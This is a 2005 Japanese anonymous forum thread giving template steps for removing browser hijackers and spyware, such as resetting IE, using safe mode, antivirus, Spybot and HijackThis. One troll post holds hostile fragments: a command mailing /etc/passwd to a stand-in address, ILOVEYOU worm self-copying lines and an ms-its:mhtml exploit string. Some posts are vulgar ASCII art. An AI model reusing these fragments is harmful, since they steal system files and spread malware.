- 1 名前：ひよこ名無しさん mailto:sage [2005/07/28(木) 23:56:15 ID:???]
- エロサイトに限らずWEBを見て回ってたらブラウザ乗っ取られて大変なことに…
いったいどうしたらいいの？って人のためのスレッドです。
【重要】ウソのアドバイスに注意して下さい。
●ブラウザハイジャッカーやウイルスの被害を減らすためにも
WindowsUpdateを利用してこまめにセキュリティパッチを当てましょう
▼━質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
・ E-mail欄(省略可) には何も記入しないこと。(ID出す→偽者対策・質問者の区別)
・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
・ 他のスレから誘導された場合は、その旨書く。(マルチポストとの区別)
・ OSの種類、ブラウザ、セキュ関係ソフトの有無、実行結果を報告。（特にOSの種類）
・ まず、テンプレの>>2-10あたりを必ず読む。
▼━回答者の方へ ━━━━━━━━━━━━━━━━━━━━
・ テンプレの方法を実行せずに質問する人は、徹底放置して下さい。
・ 出された指示を実行せずにレスする人は、徹底放置して下さい。
・ HijackThisの分析から嘘が判明した場合は、徹底放置して下さい。
・ 放置ができない回答者は、質問者が自作自演していると見なされます。
▼━禁止事項 ━━━━━━━━━━━━━━━━━━━
・ マルチポスト(複数の板・スレで同じことを質問)
・ 情報の小出し(始めにOSやソフト名等を必ず明示)
・ 違法な話題や質問(WinMX,Winny,エミュレータ等)
・ 天麩羅屋 & 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。
・ Opera房立ち入り禁止。HNを変えてもダメです。またその話題も禁止です。
前スレ：エロサイト見たら…助けて下さい！Part55
pc8.2ch.net/test/read.cgi/pcqa/1119362324
- 2 名前：ひよこ名無しさん mailto:sage [2005/07/28(木) 23:57:48 ID:???]
- 質問する前に
※スパイウェア除去ウィザードの内容と基本的には同じです。
（１）から順を追って作業して下さい。
1) IEのホーム、検索ページを標準に戻す→ツール→インターネットオプション→
プログラム→WEB設定のリセット
※WEB設定のリセットは、こまめに実行しましょう（無限ループ防止の為）
2） IEの履歴削除→ツール→インターネットオプション→全般→インターネット
一時ファイル→クッキーの削除+ファイルの削除
3) 削除したいファイルがあるが「アクセスできません。使用中です」等といわれて
削除できない→セーフモード（F8を連打）でOSを起動→削除→OS再起動
◆セーフモードでも削除できないファイルがある時は「強削」
ttp://www.vector.co.jp/soft/win95/util/se298257.html
4) 勝手に追加されたアプリをアンインストする→スタート→コントロールパネル→
アプリケーションの追加と削除→OS再起動
※コントロールパネルからアンインストールしなければならない主なもの
CnsMin（Jwordとかで使われてるスパイウェア）
ttp://www.higaitaisaku.com/removecnsmin.html
その他のコントロールパネルからアンインストールできる主なもの
ttp://www.higaitaisaku.com/uninstallinfo.html
※コントロールパネルからアンインストールしてはならないもの
Home Search Assistant、Shopping Wizard、Search Extender
という名前のものがコントロールパネルのアプリケーションにある場合。
- 3 名前：ひよこ名無しさん mailto:sage [2005/07/28(木) 23:59:03 ID:???]
- cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT
- 4 名前：ひよこ名無しさん mailto:sage [2005/07/28(木) 23:59:15 ID:???]
- 5) アンチウィルスソフトでウィルスを除去。
アンチウィルスソフトを持っていない・サポート終了している場合は、オンラインスキャンを必ず行なって除去する事。
主なアンチウィルスソフトのサポート終了一覧
Symantec（Norton）
service1.symantec.com/SUPPORT/INTER/japanesecustserv.nsf/jdocid/20030919114134945?Open&src=&docid=20040206144851945&nsf=SUPPORT%5CINTER%5Cjapanesecustserv.nsf&view=jdocid&dtype=&prod=&ver=&osv=&osv_lvl=
TrendMicro（ウィルスバスター）
www.trendmicro.com/jp/support/old-versions/old-versions/products/vb.htm
TrendMicro OnlineScan（駆除可能・英語）
housecall.trendmicro.com/
Panda Active Scan （駆除可能・日本語）
www.pandasoftware.com/activescan/jp/activescan_principal.htm
トレンドマイクロオンラインスキャン （手動駆除）
www.trendmicro.co.jp/hcall/index.asp
シマンテックセキュリティチェック （手動駆除）
security.symantec.com/sscv6/home.asp?productid=symhome&langid=jp&venid=sym&close_parent=true&bhcp=1
6) ブラウザジャッカーCoolWebSearch駆除ツール
ttp://www.higaitaisaku.com/removecws.html
7） 定番スパイウェア除去ソフト、Ad-awareSEとSpybotS&Dを使って除去。
Ad-Aware SEによるスパイウェアの除去方法
ttp://www.higaitaisaku.com/adaware.html
lavasoft.element5.com/default.shtml.ja（公式サイト）
ttp://bdc.s15.xrea.com/（日本語化パッチ）
Spybot1.3によるスパイウェアの除去方法
ttp://www.higaitaisaku.com/spybot2.html
www.safer-networking.org/（公式サイト）
- 5 名前：ひよこ名無しさん mailto:sage [2005/07/28(木) 23:59:28 ID:???]
- >>3
しね
- 6 名前：ひよこ名無しさん mailto:sage [2005/07/29(金) 00:00:53 ID:???]
- 8） Me/XPの場合「システムの復元」で正常な状態に復帰させる方法もあります。
［スタート］→［すべてのプログラム］→［アクセサリ］→［システム ツール］→［システムの復元］
●「レジストリの復元」を使って正常なレジストリを復元する（9x限定）
MS-DOSモードで再起動する＝スタート→終了→MS-DOSで再起動を選択
または、PCの電源を入れる→メーカーのロゴマークが表示される
→メーカーのロゴマークが消える直前から消えた瞬間、キーボードのF8を押す
→[Command prompt only] (または [コマンドプロンプトのみ])を選択する。
MS-DOSが起動したら「scanreg /restore」と入力して問題の起こる前の日付を選んで復元する。
※一番古い日付は不可
（入力コマンドには「」は入れないで下さい。また、コマンドのgと/の間に必ず半角スペースを入れる）
9) 既出ですよQ&A（個別のスパイウェア駆除方法）
About:blankの対処法
ttp://www.higaitaisaku.com/removeaboutblank.html
再発する場合には、ここを見て該当ファイルを駆除
ttp://www.higaitaisaku.com/cgi-bin/cbbs.cgi?mode=one&namber=4058&type=0&space=0&no=2
CoolWebSearchの除去方法
ttp://www.higaitaisaku.com/removecws.html
CnsMinの除去方法
ttp://www.higaitaisaku.com/removecnsmin.html
Gator/Gainの除去方法
ttp://www.higaitaisaku.com/removegator.html
C2.lopの除去方法
ttp://www.higaitaisaku.com/removelop.html
「英語で変な警告文が出てくるんですけど」という場合
ttp://www.higaitaisaku.com/removereg32.html
ttp://www.higaitaisaku.com/removecleanser.html
ttp://www.higaitaisaku.com/removewasher.html
ホームページが「*****.biz」になる場合
ttp://www.higaitaisaku.com/removesearchbiz.html
- 7 名前：ひよこ名無しさん mailto:sage [2005/07/29(金) 00:01:19 ID:???]
- ／￣|
｜ ｜
｜ ｜ ／￣￣￣￣￣￣
,― ＼ |
| ＿＿_） ｜ ∩∩ ∠ ﾘｭﾝﾊﾟｯﾁ♪
| ＿＿_） ｜ | |_| | ＼＿＿＿＿＿＿
| ＿＿_） ｜＼＿＿＿（・∀・ ）＿＿＿__
ヽ＿＿）＿／ ＼＿＿＿ ＿＿＿__, ）＿＿
〃 . / / / / 〃⌒i
| / ./ / / .i::::::::::i
＿＿＿＿| /⌒＼./ / / | ＿__＿|;;;;;;;;;;;i
[__]＿＿＿| / /-、 .＼_. / Uし'［＿］ .|
| || | / /i i / | || |
| ||＿__＿|＿___/ / .| .|＼＿ノ＿＿＿＿＿＿..| || |
|（＿＿＿_＿ノ /＿| |＿＿＿＿＿＿＿＿＿..| || |
| LLLLLL.／ __）L_| |LLLLLLLLLLLLLLLL. | ||＿＿＿__」
| || (＿／ / i .| || | ||
|_|| ／ .ノ |_|| |_||
(＿／
- 8 名前：ひよこ名無しさん mailto:sage [2005/07/29(金) 00:02:13 ID:???]
- 10）テンプレを全部やったが直らない！
Hijack Thisによるレポート出力と手動でのスパイウェア除去
ttp://www.higaitaisaku.com/hijackthis.html
自動的に診断してくれるページがあるので、ここにログを貼って診断してみる。
ttp://www.hijackthis.de/index.php?langselect=english
「Nasty（赤い！）」と書かれているものはFixしてOK。
「Possible Nasty（黄色い？）」は、無害なものも含まれているので自信がなければFixしないで下さい。
●それでも直らない場合は、このスレにHijackThisのログを貼って質問してみて下さい。
必ず、どの項目をやった結果どうでした、と詳しく症状・行なった対処法を書いてください。
■テンプレ補足
１．WindowsUpdateのやり方
IEを開く → ツール → WindowsUpdate
重要な更新は全てダウンロードしてインストールする事。
２．被害対策ウィザード（テンプレ>>2-4の手順ウィザード）
ttp://www.higaitaisaku.com/removewz01.html
テンプレじゃわかりにくい人は、こっちを使ってみて下さい。基本的なやる事は同じ。
３．IEが壊れてしまっている人用
IEの修復（ttp://www.higaitaisaku.com/iesyuufuku.html）を試す。
または、IE以外のブラウザを使ってみて、とりあえずテンプレを確認してください。
- 9 名前：ひよこ名無しさん mailto:sage [2005/07/29(金) 00:02:33 ID:???]
- ＼ | ／
⊂⌒⊃ ⊂⌒⊃ ―‐ ● ―‐ ⊂⌒⊃
⊂⊃ ／ | ＼ ⊂⊃
⊂⊃
／~＼へ／~＼へへ／~＼／~＼へ／~＼へ／~＼へ／~＼へヘ／~＼／~＼
,､,,,,,､,,,,､,,,､,,,,,,,,,,､,,,／￣￣￣￣￣￣￣￣￣￣￣￣￣＼＿＿＿＿＿＿＿＿_
,, ,,,,,, ,,,, ,, ,,,, ,,,,,| 立った立った！チンコが立った！ | ＼
,,,, ,,, ,,,,, ,,,,,,, ,,,, , ＼ ＿＿＿＿＿＿＿＿＿＿＿＿_／ 糞スレも立った！ |
||＝||＝||＝||＝||＝||∨＝||＝||＝||＝||＝||＝||＝||＝||＼＿＿ ＿＿＿＿＿_／
,,,,,,, ,,,,, ,,, ,, ,,,, ,,, ∧＿∧ ,, , ∧＿∧,, ,,,,, ,, ＿＿ ,,,, ,,,,, ∨ ,,,,, ,,,, ,, ,, ,,,,
,, e＠＠e ,,,,,, ,,, （ o´∀｀） ,,,,, （∀・ ； ） ,,, , , | || ,,, ,,,, e＠＠e , ,,,, ,,, ,, , ,,
,,, (,・∀・) ,,, ,,⊂ ⊃,,, ,,⊂⊂⌒ヽ、, ,,, |!____i|| , ,,,♪ (・∀・,)＿ﾉ ,,,,, ,,,, ,, ,
,〜(( ,,), ,,,, ,,,○（ ﾉ ,,,, ﾌﾟﾙ ）） ）○／＿／) ,,,, ,, とと,,＿＿つ , ,, ,, ,,
,,,, ,UUU ,,, ,,, ,,,,,, ）__）_） ,, ,,, ,(( （_（＿ﾉ ))ﾌﾟﾙ,,,,◎ ,, ,,, ,, ,,,,, ,,,,, ,,, ミ ﾋﾟｮﾝ
| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |,,, ,,,,| |
| |二二| |二二| |二二| |二二| |二二| |二二| |二二| |二二| |二二| |二二| |二二| |
- 10 名前：ひよこ名無しさん mailto:sage [2005/07/29(金) 00:03:22 ID:???]
- ＿
/ ＼―。
（ / ＼＿
/ / ヽ ／￣￣￣￣￣
...―/ ＿） ＜ ちんちん シュッ！ シュッ！ シュッ！
ノ:::へ＿ ＿＿ / ＼＿＿＿＿＿
|／-=o=- ＼/_
/::::::ヽ―ヽ -=o=-＿（::::::::.ヽ
｜○/ 。 /::::::::: （:::::::::::::）
｜::::人＿＿人:::::○ ヽ/
ヽ ＿＿ ＼ /
＼ | .::::/.| /
＼lヽ::::ﾉ丿 ／
しｗ/ﾉ＿＿_-イ
∪
|
 |
